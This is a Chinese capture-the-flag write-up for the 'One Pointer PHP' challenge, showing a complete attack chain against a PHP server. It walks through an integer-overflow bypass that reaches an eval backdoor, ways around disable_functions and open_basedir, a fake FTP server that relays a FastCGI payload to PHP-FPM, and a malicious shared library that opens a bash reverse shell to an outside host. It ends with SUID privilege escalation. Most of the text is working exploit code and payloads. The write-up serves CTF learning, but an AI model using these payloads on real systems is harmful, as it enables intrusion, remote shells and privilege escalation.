0%

[蓝帽杯] One Pointer PHP

题目还是比较难的,复现过程中学习到了不少东西,ccc

审题

题目给了2个源文件代码
add_api.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

user.php

1
2
3
4
5
<?php
class User{
public $count;
}
?>

得到几点信息,如下:

  1. 如果$user=unserialize($_COOKIE["data"]) 发生错误,例如未在cookie中设置data或错误设置,那么会类似报错执行else。从而重新实例化一个user并赋值。
  2. 如果$count[]=1 发生错误,就会执行eval($_GET["backdoor"])

    整型溢出略过

    这里的最大值是根据php 的位数来定的,可以在php中输出PHP_INT_MAX来确定最大值。
    1
    2
    x86: 2147483647
    x64: 9223372036854775807
    我本地环境就是php5.*是32位,php7.*64位。
    这里我们还需要了解一下$count[]=1 ,它就是将数组的末尾再增加一个元素。这就可以让我们利用溢出绕过了或者说是略过。
    我们注意到这题前面还有个$count[++$user->count]=1;它也会将下标加一然后赋个值(也就是在此下标后面添加一个元素值)。我们需要的是在if那里溢出所以我们选择的值为9223372036854775806 ,当执行到if那里时就爆出警告然后返回false,达到绕过效果。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    class User{
    public $count=9223372036854775806;
    }
    $a = new User();
    echo $b=serialize($a)."\n";
    echo urlencode($b);

    //O:4:"User":1:{s:5:"count";i:9223372036854775806;}
    //O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D%0A
    ?>
    溢出绕过
    接下来,我们在phpinfo中信息收集:
  3. 发现disable_functions禁用函数如下:
    1
    stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
  4. 发现限制了目录:
    1
    open_basedir	/var/www/html

    绕过 disable_functions

    简单理解就是利用未禁止的函数构造出我们想要得到的结果。
    参考链接
    下面我就说说自己常用的绕过方法以及本题的解法。

    利用环境变量LD_PRELOAD绕过

    1、使用mail
    前提条件
    Linux环境、putenv()、mail() 函数可用。
    基本原理
    当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令
    利用步骤
  • 下载bypass_disablefunc.php和bypass_disablefunc_x64.so,并上传到目标服务器
  • 执行命令
    1
    http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
    其中:
    1
    2
    3
    cmd: 执行的命令
    outpath: 读写权限目录,将把结果写在这里
    sopath: so文件的绝对路径
    2、error_log
    将上述mail例子中的mail(“”, “”, “”, “”);替换为error_log(“a”,1);
    3、imagemagick+GhostScript
    需要安装过此扩展。

exp:

1
2
3
4
<?php
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>

其中 imag.c文件需要编译,命令如下:

1
gcc -shared -fPIC imag.c -o imag.so

imag.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
//没用过感觉cmd可以改,特别是ip和端口

利用未被禁用函数

例如,以下函数,可以列目录、读文件

1
2
var_dump(scandir('/var/www/html'));
echo file_get_contents('/var/www/html/m.php');


这里需要自己积累发现了。
如,也是可以列出目录的:

1
2
3
4
5
<?php
$a = new DirectoryIterator("glob:///var/www/html/*");
foreach($a as $f){
echo($f->__toString().'<br>');
}

它还可以绕过 open_basedir访问根目录(也只有根目录)

利用扩展的漏洞

这里可能有很多,如蚁剑里的插件就有这么多。
我们主要看看,fastcgi/PHP_FPMM。(他的存在相当于重新拿到一个不受php.ini影响的shell,所以不受disable_functions的影响。)
【fastcgi、PHP-FPM】【参考链接2】

1
2
php-fpm是实现 fastcgi协议 的“服务器”,Web server是实现了 fastcgi协议 的客户端。
php-fpm 和 Web server 的关系类似浏览器和服务器的关系,它们之间的通信协议就是 fastcgi 协议。

最直接的原因就是:PHP-FPM 默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi 协议,和 fpm 进行通信。
具体我们后面做题时介绍,其实就是PHP-FPM未授权访问漏洞

绕过open_basedir

前面一些绕过disable_functions函数的照样可以绕过open_basedir这里我们特举一个例子

1
2
3
4
5
6
7
8
9
<?php
mkdir('mayi');
chdir('mayi');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/var/'));
var_dump(file_get_contents("/etc/passwd"));

1
2
通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir 同样可以通过此种方法进行设置。比如:$php_value = "open_basedir = /";
因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程,我们可以伪造FastCGI向FPM发起请求,PHP_VALUE相当于改变.ini中的设置,覆盖了本身的open_basedir

但是我们发现还是读不了flag,它设置了文件权限500

利用 file_put_contents、ftp协议、fastcgi拿shell

熟悉我们通过phpinfo知道了使用Server APIFPM/FastCGI可以想到未授权访问(但是还是逃不掉disable_functions)。因为禁用了许多函数和类,普通的ssrf无法使用,但是ftp协议未被禁用【参考链接】
 file_put_contents 在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的 pasv 模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到 127.0.0.1:9000. 同时由于 ftp 的特性, 不会有任何的多余内容, 类似 gopher 协议, 会将 data 原封不动的发给 127.0.0.1:9000, 完美符合攻击 fastcgi 的要求.

信息收集确认监听端口

fpm默认的监听端口都是9000,但是这题不是。需要我们一步一步查找,它一般在php-fpm.conf、www.conf内。

  1. 扫描/proc/**/cmdline文件,得到进程的命令行参数。可以先写一个读文件php进去,然后爆破扫一下。
    1
    2
    3
    4
    5
    6
    7
    8
     <?php
    mkdir('mayi');
    chdir('mayi');
    ini_set('open_basedir','..');
    chdir('..');chdir('..');chdir('..');
    chdir('..');chdir('..');chdir('..');chdir('..');
    ini_set('open_basedir','/');
    var_dump(file_get_contents($_GET['file']));
    最后发现可以进程:
    1. 随后我们读一下这个文件/usr/local/etc/php-fpm.conf 发现起包含了当前目录下的etc/php-fpm.d/*.conf那么我们就读一下。
    2. 首先我们也可建立一个列文件的php如下:
      1
      2
      3
      4
      5
      6
      7
      8
      <?php
      mkdir('mayi');
      chdir('mayi');
      ini_set('open_basedir','..');
      chdir('..');chdir('..');chdir('..');
      chdir('..');chdir('..');chdir('..');chdir('..');
      ini_set('open_basedir','/');
      var_dump(scandir($_GET[dir]));
      得到www.conf文件:
    3. 也就是说包含了这个文件,我们自然读一下这个文件。
    4. 发现监听的是9001端口。

伪造FTP服务器

vps执行如下命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import socket

host = '0.0.0.0'
port = 2334 # vps与它通信的端口
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("300 \n")
print '300'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,0,9001\n") #这里对应fpm的端口
print '200'
print conn.recv(20)

conn.send("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()

为什么要发这些包,可以【看这里】

生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
<?php

class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
// 输出构造好的请求
return (urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
// php5
// ssrf生成payload的话,这里不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$SCRIPT_FILENAME = '/var/www/html/user.php';
$SCRIPT_NAME = '/'.basename($SCRIPT_FILENAME);
// GET参数
$REQUEST_URI = $SCRIPT_NAME;
// POST参数
$content = '';
// 设置php_value利用php://input执行代码
// $PHP_ADMIN_VALUE = "allow_url_include=On\nopen_basedir=/\nauto_prepend_file=php://input";
// 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录
$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = evil.so\n";
$res = $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $SCRIPT_FILENAME,
'SCRIPT_NAME' => $SCRIPT_NAME,
'REQUEST_URI' => $REQUEST_URI,
'PHP_ADMIN_VALUE' => $PHP_ADMIN_VALUE,
'SERVER_SOFTWARE' => 'php/fastcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($content),
),
$content
);
// 这次也不用二次编码了

echo('gopher://127.0.0.1:9001/_'.str_replace("%2B", "+", ($res)));

其中有如下语句确定加载我们后面制作的木马

1
2
// 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录
$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = evil.so\n";

制作马

evil.c源码

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/vps/监听端口 0>&1'");
}

编译:

1
gcc evil.c -fPIC -shared -o evil.so

然后上传,我们代码中显示我们直接上传到网站根目录即可。

开启恶意ftp服务器

使用python2

vps监听端口

nc -lvp 2333

创建并访问file_put_contents利用文件

1
2
<?php
file_put_contents('ftp://8.129.61.16:2334/anything',urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%A5%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F2PHP_ADMIN_VALUEextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evil.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00"));

格式如下:

1
file_put_contents("ftp://vps:端口/anything",前面文件生成的 fastcgi payload,因为有特殊字符制作时做了urlencode所以这里进行urldecode一次)

随后就可以去访问了。

此时我们可以看到vps监听的端口已经上线了。
www-data的权限。

suid提权

因为flag设置了700所以我们需要提权。SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

1
2
3
4
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

发现了php有root的s权限,我们使用-a进入交互模式。
因为是php执行所以还是需要绕过open_basedir

1
mkdir('mayi');chdir('mayi');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

得到flag

参考链接:
https://mp.weixin.qq.com/s/ioclxQeG_TFvmaKVQB9LQQ
https://zhuanlan.zhihu.com/p/343918026
https://err0r.top/article/bluehat2021/
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

直接更改蚁剑插件的代码

【参考链接】
通过前面的介绍我们知道,蚁剑有可以直接利用fpm的插件,但是有2个地方需要改,第一个是它的端口,一个是fsockopen它被禁用了,可以用pfsockopen它是打开一个持久的参数都一致。我没复现成功
我的插件文件路径:

1
D:\ant\ant_work\antSword-master\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js

打开这个文件,进行修改。把fsockopen替换为pfsockopen。并且再添加一个127.0.0.1:9001选项

但是我不知道为啥不成功。

更新

今天看了一个师傅的【wp】
这篇文章确实写得比较好,思路清晰。而且我还知道了之前为啥修改蚁剑插件不成功了。
原因是需要修改2个文件,其中\antData\plugins\as_bypass_php_disable_functions-master\payload.js文件我们也需要将fsockopen替换为pfsockopen

我们看到这里是www-data用户,但是基础信息又显示是root,这里应该直接利用到了php文件的suid。(本来就是php运行的)但是我们直接执行系统命令时用的还是www-data权限。


-------------本文结束感谢您的阅读-------------